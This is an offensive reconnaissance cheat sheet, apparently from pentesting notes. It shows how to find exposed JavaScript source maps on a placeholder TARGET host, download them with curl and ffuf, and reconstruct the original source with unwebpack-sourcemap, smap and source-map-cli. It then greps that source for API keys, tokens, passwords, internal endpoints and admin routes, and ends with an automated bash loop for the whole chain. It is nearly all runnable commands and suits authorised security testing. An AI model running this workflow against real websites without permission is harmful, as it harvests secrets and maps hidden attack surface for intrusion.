JavaScript Source Maps (.js.map)

curl -s http://TARGET/app.js | grep -i "sourceMappingURL"

//# sourceMappingURL=app.js.map
//# sourceMappingURL=data:application/json;base64,...

curl -s http://TARGET/static/js/main.chunk.js.map -o main.chunk.js.map
curl -s http://TARGET/assets/app.js.map -o app.js.map

/static/js/*.js.map
/assets/*.js.map
/dist/*.js.map
/build/*.js.map
/js/*.js.map
/bundle.js.map
/main.js.map
/app.js.map
/vendor.js.map

ffuf -u http://TARGET/static/js/FUZZ.js.map -w js-files.txt -mc 200

pip install unwebpack-sourcemap
unwebpack-sourcemap main.chunk.js.map -o ./extracted

# https://github.com/nickcano/smap
go install github.com/nickcano/smap@latest
smap main.chunk.js.map -o ./extracted

npm install -g source-map-cli
source-map show main.chunk.js.map

cat main.chunk.js.map | jq '.sources'          # List original file paths
cat main.chunk.js.map | jq '.sourcesContent[0]' # First file content

grep -rni "api_key\|apikey\|secret\|token\|password\|auth" ./extracted/
grep -rni "REACT_APP_\|VUE_APP_\|NEXT_PUBLIC_" ./extracted/

grep -rni "/api/\|/v1/\|/v2/\|/graphql\|/rest/" ./extracted/
grep -rni "fetch(\|axios\.\|\.get(\|\.post(" ./extracted/

grep -rni "admin\|dashboard\|internal\|debug\|/hidden" ./extracted/
grep -rni "route\|path:\|component:" ./extracted/

grep -rni "TODO\|FIXME\|HACK\|XXX\|TEMP\|password" ./extracted/

grep -rniE "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" ./extracted/
grep -rni "internal\|staging\|dev\.\|localhost" ./extracted/

# 1. Find JS files
curl -s http://TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'

# 2. Check for source maps
for js in $(curl -s http://TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
    map_url="http://TARGET${js}.map"
    status=$(curl -s -o /dev/null -w "%{http_code}" "$map_url")
    if [ "$status" = "200" ]; then
        echo "[+] Found: $map_url"
        curl -s "$map_url" -o "$(basename $map_url)"
    fi
done

# 3. Extract
for map in *.js.map; do
    unwebpack-sourcemap "$map" -o "./extracted_$(basename $map .js.map)"
done

# 4. Hunt secrets
grep -rni "api_key\|secret\|token\|password" ./extracted_*/